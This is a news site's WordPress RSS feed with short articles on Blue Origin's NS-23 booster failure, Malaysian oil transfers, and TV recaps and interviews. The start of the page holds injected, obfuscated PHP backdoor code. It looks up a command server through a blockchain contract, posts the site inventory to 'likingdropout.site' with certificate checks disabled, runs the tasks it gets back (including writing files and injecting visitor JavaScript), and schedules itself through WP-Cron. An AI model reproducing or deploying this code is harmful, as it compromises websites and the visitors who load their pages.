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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); origin – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 13 Sep 2022 06:38:56 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png origin – Brief News https://briefnews.eu 32 32 Uncrewed Blue Origin capsule lands safely after New Shepard rocket failure https://briefnews.eu/uncrewed-blue-origin-capsule-lands-safely-after-new-shepard-rocket-failure/ https://briefnews.eu/uncrewed-blue-origin-capsule-lands-safely-after-new-shepard-rocket-failure/#respond Tue, 13 Sep 2022 06:38:56 +0000 https://briefnews.eu/uncrewed-blue-origin-capsule-lands-safely-after-new-shepard-rocket-failure/ Blue Origin’s recent NS-23 flight didn’t go according to plan. On Monday morning, the private space firm was forced to abort the uncrewed mission after one of its New Shepard rockets suffered an unspecified “booster failure.” The problem came up about a minute after the flight took off from Blue Origin’s West Texas launch site at 10:26AM ET. You can see the entire incident unfold in the video the company shared on Twitter.

“It appears we have experienced an anomaly with today’s flight,” a commentator said during the NS-23 livestream. “This was unplanned and we don't have any details yet. But our crew capsule was able to escape successfully, we’ll follow its progress through landing. As you can see, the drogues have deployed, and the mains are going to be pulled out next.”

The capsule was carrying NASA-funded research equipment. “It’s useless to speculate about what happened at this point. Not even the company knows the cause,” tweeted Eric Berger, senior space editor at Ars Technica, adding in a separate post that had the spacecraft been manned, the crew “would have felt a serious jolt, but would have been safe.”

Blue Shepard won’t be able to fly again until Blue Origin investigates the incident and the Federal Aviation Administration signs off on the company’s findings. 

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Blue Origin, founded by billion Jeff Bezos, saw its first major incident on Monday.

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  • A Blue Origin rocket with no crew onboard failed just over a minute after liftoff on Monday. 
  • The New Shepard rocket, launched from Blue Origin's West Texas facility, carried cargo for research.
  • A livestream of the launch showed the rocket bursting into flames around 29,000 feet above ground.

A Blue Origin rocket with no crew onboard failed just over a minute after lifting off on Monday. 

The New Shepard rocket that took off from Blue Origin's West Texas facility on Monday was carrying cargo for research that it was going to send to the edge of space.

A livestream of the launch showed the New Shepard bursting into flames around 29,000 feet above ground. The capsule above the booster rocket then detached itself and parachuted back to the ground.

 

Blue Origin said on Twitter there was a "booster failure" on the flight, triggering the escape system. The capsule "successfully separated" from the rocket, the spaceflight company added.

It was the first major incident for billionaire Jeff Bezos' spaceflight company since it opened commercial services to the public in 2021.

The Federal Aviation Administration, or FAA, is investigating the incident, which it called a "mishap" in a statement sent to Insider.

"The capsule landed safely and the booster impacted within the designated hazard area. No injuries or public property damage have been reported," said the FAA.

"Before the New Shepard vehicle can return to flight, the FAA will determine whether any system, process, or procedure related to the mishap affected public safety. This is standard practice for all mishap investigations," the FAA added.

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Russia has rerouted its oil exports away from Europe towards Asia.

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  • China's imports of Malaysian crude oil have soared to nearly 800,000 barrels per day, according to data compiled by Bloomberg. 
  • That's more oil than what Malaysia actually produces on its own, suggesting some crude arrived from other sources.
  • The waters off Malaysia are known for ship-to-ship transfers that mix crude to hide its origin. 

Chinese imports of Malaysian crude oil jumped to 791,000 barrels per day in July, more than double the amount from the start of the year, according to data compiled by Bloomberg.

The problem? Last month's figure is actually more oil than what Malaysia actually produces on its own, suggesting some of the crude arrived from other sources before being shipped off to China. 

The waters off Malaysia are a notorious location for ship-to-ship transfers, where crude from various locations is mixed to hide its origin, then rebranded and sold elsewhere. 

The practice of  "dark" ship-to-ship transfers has become more common since Russia invaded Ukraine, as global market participants look to avoid the reputational risks of doing business with Moscow. Russian oil tankers have also disappeared from tracking systems near Portugal's Azores islands by turning off their location data.

Wary buyers have also attempted to avoid affiliation with the sanctioned nation through obfuscating the origins of crude and trading oil marked "destination unknown."

According to Bloomberg, the imports of Malaysian oil are likely a mix of barrels originating from Iran, Venezuela and Russia.

Meanwhile, fuel oil shipments from those three nations are using a key export hub in the UAE and being disguised for export, traders told the Wall Street Journal. 

Still, separate data show Russian crude exports to Asia reached a five-month low last week, declining by roughly 500,000 barrels per day.

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Comic Book Guy could soon be vying for a new title: Best. Dad. Ever.

That’s right, folks. After 32 seasons, The Simpsons is finally looking to expand CBG’s family tree in Sunday’s episode, which airs at a special time (Fox, 9/8c). “The Dad-Feelings Limited” finds Comic Book Guy and his wife Kumiko debating whether or not to have a baby.

Per the official synopsis, Sunday’s episode will also reveal the “awesome origin story” of Comic Book Guy. So, you know… buckle up for that. Special guest voices in this episode include Dan Aykroyd and Bob Balaban.

TVLine has an exclusive sneak peek of the episode, which finds Homer and Marge striking a surprisingly strong bond with Mr. and Mrs. Comic Book at trivia night — so it’s also safe to say that the parents of three will heavily influence the young couple’s decision one way or the other.

Hit PLAY on the video above for your first look at Sunday’s special episode of The Simpsons — airing at a special time, — then drop a comment with your thoughts below.

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Nearly 30 minutes after teasing the Comic-Con @ Home crowd, “We know what’s going to happen, but we’re not gonna tell you,” What We do in the Shadows‘ Paul Simms and fellow executive producer Stefani Robinson eventually parted with some teasers for Season 3, which was ordered by FX in May.

Appearing in a virtual panel hosted by Season 2 guest star Haley Joel Osment and featuring cast members Kayvan Novak, Harvey Guillen, Natasia Demetriou, Matt Berry and Mark Proksch, Simms on or around the 28:00 mark (video below) shared, “If there’s any preview we can give about Season 3, it’s that [the roommates] all have something that they’re searching for.”

Novak’s Nandor, for example, “might be searching for love,” Simms said, while Proksch’s Colin Robinson “still doesn’t know how he became an energy vampire — he’s just rolled with it all these years — so there might be a search that he goes on.”

Simms then started to tease “new duties” for one of the characters, but caught himself and declared that morsel too spoilery at this early date. (The show typically films in the winter, in Toronto.)

Before signing off, Osment asked the EPs if there might be further broadening of the show’s magical world and the creatures that live in it, seeing as Season 2 introduced witches and trolls, for example.

EP Robinson hinted, “There are some creatures that live on edifices…” — presumably referring to gargoyles. Then, after Novak thrust his pet in front of his web cam (saying in Nandor’s accent, “I’ve turned myself into a cat!”), Demetriou jokingly inquired if any storyline might give the cast opportunity to play with puppies or kittens.

That nudged Simms to share, “The vampires do get a hellhound to protect them. That’s all that I’m saying!”

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]]> https://briefnews.eu/what-we-do-in-the-shadows-season-3-eps-tease-a-quest-for-love-an-origin-story-a-spoiler-for-the-roommates/feed/ 0 Animal Kingdom Season 4 Premiere Recap: Caged Heat — Plus, Flashbacks Reveal [Spoiler]’s Dicey Origin Story https://briefnews.eu/animal-kingdom-season-4-premiere-recap-caged-heat-plus-flashbacks-reveal-spoilers-dicey-origin-story/ https://briefnews.eu/animal-kingdom-season-4-premiere-recap-caged-heat-plus-flashbacks-reveal-spoilers-dicey-origin-story/#respond Wed, 29 May 2019 02:09:50 +0000 http://briefnews.eu/animal-kingdom-season-4-premiere-recap-caged-heat-plus-flashbacks-reveal-spoilers-dicey-origin-story/

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As the date of their next heist neared in the Season 4 premiere of TNT’s addictive Animal Kingdom, the Codys worried that Pope seemed weird. And when someone as weird as Pope seems weird even for him, you know you’ve got a problem. Read on, and we’ll not only marvel at just how big and dangerous that problem became, we’ll discuss the pickle in which Adrian has landed himself, Frankie’s surprise return (well, at least Craig was surprised) and the 1977 flashbacks that gave us a look at how Smurf became the queenpin we all know and love to hate.

‘HE’LL QUIT… WHEN HE WINS’ | As “Janine” began, we time-warped back more than three decades to watch a young Smurf (Leila George) on a bank job gone wrong with boyfriend Jake (Jon Beavers) and his crew. In subsequent flashbacks, the tension in the group came into sharp focus: Jake was all for Janine working jobs with them, but Colin (Grant Harvey) felt that, whether they wore masks, it made them stand out to have among them a girl with long blonde hair blowing in the breeze like a “Notice us!” sign. Her solution: She chopped it all off at the first opportunity. In the present, Smurf, her trademark ‘do long since perfected, calmly watched Pope work off a little aggression in an MMA cage fight that was so brutal, I think it bruised my eyeballs just from seeing it.

Later, after observing how well Adrian was surfing, Craig asked Deran’s boyfriend how come he kept losing. “It’s different when there’s cameras and judges and s—,” Adrian said. But the truth was, he was throwing contests in hopes of getting kicked off the circuit so that he wouldn’t be asked to smuggle drugs again. Only the DEA was extremely keen on him staying on the circuit and smuggling drugs. Despite his arrest, they didn’t want him. “You’re a bad liar and a bad drug smuggler,” an agent pointed out. They wanted bigger fish, and if he couldn’t reel them in, he’d be looking at decades in prison. Meanwhile, J was in college, dazzling a pretty classmate named Olivia (Kelli Berglund) with his boyish good looks as much as his aptitude for stats. “This is Josh,” she told pals Riley, Jackson and Benji. “He’s smart, and he hates fun.” Still, he was willing to let them join his study group. And though he turned down her invitation to hang, she was as undaunted as pretty girls always are. “One of these days,” she swore, “I will get you to come out with us.”

animal kingdom recap season 4 episode 1 janine‘IF I WAS CHARGING YOU FOR THE SEX, YOU’D BE PAYING A LOT MORE’ | At Casa Cody, Smurf tormented Pope — as if that could possibly be a wise thing to do! — by contemplating repainting Lena’s room. “I’ll let you pick the color,” she said, smiling her insincerest smile. “Leave it,” he grumbled. “Reminds me why I’m here.” At J’s bowling alley, Mia delivered a photo of a teenage diner waitress named Rosie — part of the heist du jour, we’d later figure out —and asked when he’d be showing up at home again. What, did she miss him? Ha, she replied. She just wanted to make sure she wasn’t having sex with two guys on the couch when he walked in. But seriously, she added, he couldn’t just come and go as he pleased. Except, J noted, he could — it was his house.

While looking for a getaway vehicle for the heist, Craig suggested to Deran that Adrian wanted to quit the tour so much because he didn’t trust his boyfriend to remain faithful when he was away. Gay dudes get around, Craig added, prompting Deran to point out that “I see one person in this car who’s had antibiotic-resistant gonorrhea twice, and it’s not me.” Quickly, the subject changed to Pope. Deran didn’t want to admit that their elder brother was acting weirder than normal, but as Craig noted, Pope had once again developed that look “like he doesn’t care what happens to him, like he could hurt somebody.” That being the case, uh, maybe he shouldn’t be a part of the job. He could turn an armed robbery into a murder in the time it takes to pull a trigger! Back at Casa Cody, Smurf questioned J about the girlfriend that she wasn’t allowed to meet. “Are you hiding her from us,” asked Grandmommie Dearest, “or is it the other way around?”

animal kingdom recap season 4 episode 1 janine‘NOW WHO WANTS DESSERT?’ | That evening at a family dinner, when Craig got done sharing horror stories about the tenants for whom he was now responsible as a property owner, Smurf asked Adrian when his and Deran’s housewarming was — and there did have to be a rager. “It will not be a home,” she insisted, “till you trash it with the ones you love.” Remember the first bash at their own house? she asked Pope. If he did, he didn’t say. He just finished Hoovering his food, grunted “Done” and left the table. See? Smurf said afterward. “He’s his normal self.” Was he, though? After Smurf sent Adrian inside, Craig announced that neither he nor Deran — surprise, Deran! — thought that Pope should be on the job. Smurf had not a scintilla of a s— to give. However, later, she did warn her eldest son, “Better make sure you got your s— together, baby.”

The following day, Frankie let herself into Craig’s unlocked condo and made coffee, scaring him half to death. “I love what you’ve done with the place,” she said, looking around the pigsty. Though yes, he’d gotten the money she sent, “I kinda thought I’d never see you again,” he admitted, reminding her that after their night of smoking crack and having sex, she’d disappeared on him. Oh, he of little faith! Not only was Frankie back, but she had another job if he was interested. And it was certainly safer than the bank job that he’d left plans for lying around. “Smurf’s gonna get you killed,” she predicted before offering her sometime lover’s bedmate a cup of coffee and taking her leave. At the same time, Deran ran Adrian through the steps that he had to take to be his alibi for the heist, and encouraged his boyfriend not to give up the circuit. Of course, he added when Adrian balked, the surfer could do whatever he wanted, no pressure.

animal-kingdom-recap season-4-episode 1 janine‘IT’S A CONDOM!’ | Finally, heist day arrived. At the diner, J charmed Rosie, then spilled his coffee in order to steal her cell phone. Soon, it became clear what Rosie had been all about: The Codys were going to use her as leverage to make her bank-manager father escort them into the vault full of safety-deposit boxes. They even had the guy call Rosie’s phone so that J could answer and threaten her to get him to cooperate. Brilliant! Evil but brilliant. Craig and Pope thought that they had it made when they got the guy zip-tied in the vault. Only suddenly, Deran reported that someone had triggered a silent alarm — the cops were on their way! It hadn’t been the bank manager, though; the thing he was hiding in his hand turned out to be a rubber. He’d been trysting with a teller, and she had triggered the alarm!

Quicker than you could choose an expletive, Deran had bleached the van they’d taken to the bank, and he, Pope and Craig were motorcycling away from the police. The robbers easily lost the cops by veering into an orchard, but at some point, Pope ceased to be behind Craig and Deran. WTF? Sending Deran on to meet J at the rendezvous point, Craig doubled back and found Pope walking toward the sound of the sirens. He’d wiped out, he said, a crazier-than-usual look in his eyes. So “I was gonna cut ’em off, give you a head start.” After Craig took his turn saying “WTF?” he got Pope back on a bike, and J drove them right past the oblivious cops in a produce truck. When they returned home, Smurf was waiting with a feast fit for a king… or at least her kingpins. So, what did you think of “Janine”? Are you digging the flashbacks? Anyone else worry that Adrian’s gonna sign his own death warrant by ratting out Deran’s family to save his own skin? Grade the episode below, then hit the comments.

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]]> https://briefnews.eu/animal-kingdom-season-4-premiere-recap-caged-heat-plus-flashbacks-reveal-spoilers-dicey-origin-story/feed/ 0 Supergirl Recap: Red Daughter's Origin Story Is Finally (Mostly) Explained https://briefnews.eu/supergirl-recap-red-daughters-origin-story-is-finally-mostly-explained/ https://briefnews.eu/supergirl-recap-red-daughters-origin-story-is-finally-mostly-explained/#respond Mon, 25 Mar 2019 13:51:15 +0000 http://briefnews.eu/supergirl-recap-red-daughters-origin-story-is-finally-mostly-explained/

Sunday’s Supergirl turned the clock back three years — all the way to 2015, when this show was still on CBS — to explain how Lex Luthor enlisted his surprising sidekicks, including his “daughter.”

First came Eve Teschmacher, a Lex super fan with a genuine thirst for his specific flavor of Kool-Aid. She praised his “once-in-a-generation mind” and believed he was humanity’s last hope against alien invaders. And because flattery will get you everywhere with Lex, he asked Eve for a simple favor: land a job as Cat Grant’s assistant and await further commands. (It’s worth noting that both James and Lena testified at Lex’s trial, giving him two more reasons to seek revenge.)

We then jumped ahead two-and-a-half years to Red Daughter’s arrival in Kaznia. Naturally, the Kaznian government’s first instinct was to turn her into a weapon, but when she proved too much to handle, the military summoned Lex (with Otis and Eve in tow) to intervene. Thus began a disturbing mentorship, one of dramatic chess games, literary montages and vague European accents.

Part of that training brought Red Daughter to National City, where she toured Kara’s unreasonably large loft (“On a reporter’s salary!”), faked her way through a conversation with Alex, and did some serious digging into what makes the Girl of Steel tick. Unfortunately, Red Daughter came to the conclusion that neither Kara nor America were the enemies that Lex painted them out to be, leaving him with but one desperate move: pretend to kill Red Daughter’s favorite Kaznian child and blame it on those no-good Americans.

Red Daughter proved surprisingly perceptive, however, quickly deducing that Lex’s entire plan boiled down to his rivalry with Lena. This put a major strain on their relationship, but he wasn’t about to lose her, which became a real possibility after a routine training session left her in critical condition. So Lex did what any egomaniacal villain would do: he gave himself cancer, setting into motion the events we watched unfold last week.

Cut to the present day: The new-and-improved Lex returned to Kaznia, where he restored Red Daughter to full health (and restored her faith in him). “Supergirl acts on her emotions,” she concluded. “It’s selfish, ugly. I will not be her. I will be me. I will follow you… and destroy her.” Gulp.

Oh, one more thing: We also learned through flashbacks that Lex had a hand in Ben Lockwood’s rise to power, as he needed someone to sow additional seeds of discord between humans and aliens. At a recent screening attended by TVLine, executive producer Robert Rovner confirmed that “Lex Luthor is involved in everything that has happened this season.”

Are you grateful to Sunday’s Supergirl for filling in so many of this season’s blanks? Drop a comment with your thoughts on the episode below.

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]]> https://briefnews.eu/supergirl-recap-red-daughters-origin-story-is-finally-mostly-explained/feed/ 0 Arrow Boss Teases Oliver's New Groove, Two Origin Stories, All-Future Episode, Robert Queen's 'Return' and More https://briefnews.eu/arrow-boss-teases-olivers-new-groove-two-origin-stories-all-future-episode-robert-queens-return-and-more/ https://briefnews.eu/arrow-boss-teases-olivers-new-groove-two-origin-stories-all-future-episode-robert-queens-return-and-more/#respond Mon, 21 Jan 2019 15:43:15 +0000 http://briefnews.eu/arrow-boss-teases-olivers-new-groove-two-origin-stories-all-future-episode-robert-queens-return-and-more/ Oliver Queen’s got a brand new bag when The CW’s Arrow resumes Season 7 tonight at 8/7c.

As revealed at the close of the (terrific) midseason finale, Star City’s infamous vigilante is now working unmasked as a consultant for the SCPD. That will stir conflicts, showrunner Beth Schwartz says in the Q&A below, as well as set Oliver’s wife Felicity on a mission.

Schwartz also fielded our burning questions about the (misleading?) flash-forwards, Robert Queen’s “return,” haunted Laurel and more.

TVLINE | Get me excited about “Oliver Queen, SCPD-sanctioned fighter of crime.”
Having our entire series based off the vigilantes not being in partnership with the SCPD, we found it super-exciting in the writers room to make this happen. But it’s not going to be without conflict. And the rest of the team is going to have to find their way as well, to figure out how this is all going to work.

TVLINE | And what will determine whether he suits up versus rocks a V-neck and blazer?
He will suit up with the police — but he will also wear a V-neck and blazer. [Laughs] He will do both.

TVLINE | Will Oliver get to deal with any Villains of the Week, or will be be frying bigger fish?
A combination. Definitely some Villains of the Week.

TVLINE | The “Elseworlds” crossover seemed to do some damage control with regards to Oliver and Felicity. Would you say they’re back to 100 percent? 90 percent? 80…?
I would say 100 percent.

TVLINE | But will we still see Felicity on edge, getting darker?
She definitely has a lot going on in the second half — specifically figuring out what she’s going to do now that Oliver’s back, and how she’s going to fit into his new role working for the SCPD, while also doing her own thing. She’s going to start getting back to creating tech and doing things to help the world.

TVLINE | Because there is a dilapidated Smoak Tech in the future….
Yes, yes. We’re going to see the origin story of that.

Arrow 1x21 Robert QueenTVLINE | I find it a little convenient that the half-sister Oliver doesn’t know he has is a trained vigilante, just like him — if only because he was only outed a few months ago. Will that make more sense once we get into her backstory?
It will. We’re going to find out a lot more about her in [Monday’s Episode] 10 — where she came from, who her mother is, why Robert [Queen] kept her a secret, what her mission is…. We’ll keep unraveling that as the season goes on.

TVLINE | Are you able to do that without Jamey Sheridan, or will he come back for flashbacks as Robert?
Well… we have him coming back, but not necessarily on-camera. There will be a fun surprise with him in 10.

TVLINE | But it’s definitely new material that Jamey did, not recycled stuff?
Yes, yes.

Arrow Future Season 7TVLINE | I have to say, you’ve got me puzzling over the flash-forwards; I even wrote a whole think piece about them. Is this the future or a future?
This is the future as we know it, but we haven’t even scratched the surface of it yet. We’re going to be revealing what’s behind the wall at The Glades, and in 10 we’re going to see out first glimpse of how the other, better half are living. We’re actually going to have an all-future episode, [Episode] 16, which will answer all the questions, including the backstory of Blackstar (Shadowhunters‘ Katherine McNamara), how she came to be in this group…. There are more surprises ahead as we fill in the blanks about what has been going on. That episode is titled “Star City 2040.”

TVLINE | Speaking of Blackstar, should we read anything into the fact that Roy wasn’t present when we first met her? I was wondering if it’s because he would recognize her.
Oh, no — he doesn’t know her.

TVLINE | Really?
Yep. He doesn’t. [But speaking of Roy] we’re definitely going to answer why we found him banished on Lian Yu. We’ll get to know more about that.

TVLINE | The “Ghost Initiative” that Diggle and Lyla put together in Episode 11 (airing Jan. 28), comprised of Diaz, China White (played by Kelly Hu), Cupid (Amy Gumenick) and Slade’s son (Liam Hall) — is this your workaround to not being able to use the Suicide Squad?
It’s a new group but with the same kind of M.O. as the Suicide Squad. Diaz is going to be our leader of that, which is really fun. We’re going to get to see a lot of that in 11, which is [cast member] David Ramsey’s directorial debut. He did such an amazing job; I just had the mix this week and it’s so much fun seeing China White back, and Cupid and Kane Wolfman, with Diaz leading the charge. It’s a really, really cool episode.

TVLINE | Is whatever Diggle and Lyla are up to with the Dante painting going to dovetail with the bigger picture?
It will, yep. It will all come to a head. You’ll see, we’ve been playing the long game with that one.

TVLINE | The synopsis for 11 also says, “Oliver and Laurel are haunted by the past.” What more can you say about that?
We are going to find out more about Laurel’s backstory on Earth-Two, which is really cool. And Oliver is sort of going to be haunted by the consequences of him being outed. The episode looks at the consequences of him being unmasked and everyone knowing who he is.

TVLINE | What else is coming up for Laurel in the second half of the season?
Well, we are doing a Birds of Prey-inspired episode, that she will be involved with. And we’ll get to see what happens in her overall arc, in her redemption story — whether she is really redeemed as Black Siren and did she really turn over a new leaf, or is she still the same evil Black Siren that we saw last season.

TVLINE | Birds of Prey is of course a group of people. I suppose you’re leaving us to guess who the other team members might be…?
Yep.

TVLINE | I asked The Flash‘s Todd Helbing a similar question: Is there anything that Arrow needs to do with the remainder of its season in service of next fall’s “Crisis on Infinite Earths” crossover?
It’s possible. It’s possible….

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]]> https://briefnews.eu/arrow-boss-teases-olivers-new-groove-two-origin-stories-all-future-episode-robert-queens-return-and-more/feed/ 0 ULA chief Tory Bruno on competing with Blue Origin, SpaceX rocket landings https://briefnews.eu/ula-chief-tory-bruno-on-competing-with-blue-origin-spacex-rocket-landings/ https://briefnews.eu/ula-chief-tory-bruno-on-competing-with-blue-origin-spacex-rocket-landings/#respond Thu, 13 Dec 2018 10:18:04 +0000 http://briefnews.eu/ula-chief-tory-bruno-on-competing-with-blue-origin-spacex-rocket-landings/
Jeff Bezos (right), the founder of Blue Origin and Amazon.com, and Tory Bruno, CEO of United Launch Alliance, display the BE-4 rocket engine during a press conference in 2014.

Enlarge / Jeff Bezos (right), the founder of Blue Origin and Amazon.com, and Tory Bruno, CEO of United Launch Alliance, display the BE-4 rocket engine during a press conference in 2014. (credit: Win McNamee/Getty Images)

In part one of our interview with United Launch Alliance Chief Executive Tory Bruno, we talked about the company’s efforts to develop the Vulcan rocket, its Centaur upper stage, and other projects at the Colorado-based rocket builder. In part two, below, we asked Bruno about the company’s collaboration with new space company Blue Origin and its ongoing rivalry with SpaceX.

These two relatively new launch companies have taken different approaches with United Launch Alliance, which was founded by legacy aerospace firms in 2006 to provide national security launches for the US government. Blue Origin has sought to work with ULA, reaching an agreement in 2014 to provide BE-4 rocket engines for the Vulcan booster. But the companies are also competing, amicably, as Blue Origin’s New Glenn rocket will also bid for national security launches, and there is some overlap in the commercial market interests.

SpaceX has taken a significantly more confrontational posture toward United Launch Alliance from the beginning, suing to stop the formation of ULA in 2005 and battling for government business in the years since, both for military and civil space missions.

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Trailers are an under-appreciated art form insofar that many times they’re seen as vehicles for showing footage, explaining films away, or showing their hand about what moviegoers can expect. Foreign, domestic, independent, big budget: What better way to hone your skills as a thoughtful moviegoer than by deconstructing these little pieces of advertising?

This week we let the Ted in Bill & Ted explain blockchain, expose the youths to some fabulous animation, get a little freaky with our art, get our male synchronized swimming on, and get excited about a film festival.

Trust Machine

Director Alex Winter is on top of all this. His documentaries Downloaded and Deep Web show that he not only has a handle on the world of technology but that he can articulate some of the more complex issues with directorial elegance. This brings us to his latest foray into breaking down one of the most overused concepts and word in 2018: Blockchain. Specifically, here’s what the documentary is about:

[Narrated by Rosario Dawson], Alex Winter drills down on blockchain, the decentralized technology that supports cryptocurrencies. Why are banks terrified while UNICEF Ventures embraces it to help refugee children? Winter follows tech innovators striking a raw nerve as banks and network pundits rush to condemn volatile cryptocurrencies and blockchain technology. British hacktivist Lauri Love fights extradition—his computer skills perceived a threat to the US government. Through the film, Winter reveals that the proponents of the blockchain—a verified digital ledger—are already using the technology to change the world; fighting income inequality, the refugee crisis and world hunger.

Winter has a keen understanding for tech, and he has become proficient in being able to translate that to the small screen. The trailer introduces us into this world while setting up what’s at stake for everyone involved. I’m still not sure how the technology is supposed to liberate the human race, but it’s documentaries like these that will at least make me better informed.

Meow Wolf: Origin Story

There is a quote that comes in around the middle of the trailer for director Morgan Capps and Jilann Spitzmiller’s latest documentary that talks about how the film is an inspiration for artists everywhere. After watching this trailer, you’ll understand why. While the subject matter is about this one collective, it seems more about the broader experience of artistic creation. I’m intrigued by its creativity and its uniqueness, but I’m even more interested in how this narrative somehow drags George R.R. Martin into it all. The process through which artists create co-mingled with a world that doesn’t necessarily reward that creativity is a unique one. To see how this all begins, and then flourishes, looks bananas.

Sink or Swim

I am not sure what director Gilles Lellouche was thinking as he was putting this together, but we do have a controversy here. Much like the films Armageddon and Deep Impact or Volcano and Dante’s Peak, this year has two films starring men who start synchronized swimming teams. I’ll be goshdarned, though, if this doesn’t look like one of the better feel-good movies I could see this year. The trailer is rock solid. We establish who everyone is, what their personality quirk is all about, and then get down to the funny. Yes, it’s broad and slapstick-y, but I love it all.

Super Drags (NSFW)

The synopsis is what sold me immediately:

Three gay co-workers at a department store lead double lives as superhero drag queens, fighting crime and other forces like an evil queen and a conservative politician.

I wasn’t expecting much, but this trailer is pretty much the best laugh I had all week. The characters are out there, the premise is just bizarre, but the overall energy of this trailer cannot be denied. It hearkens back to the kind of animation you would see at the Spike and Mike’s Festival of Animation eons ago, but a lot less grainy. I’m not sure how much of what you see here is representative of the overall show, but as long as it’s 1/10th of what’s promised in this promo, I am all in. And, for what it’s worth, the final third of this thing is just off-the-wall fantastic.

The London Korean Film Festival

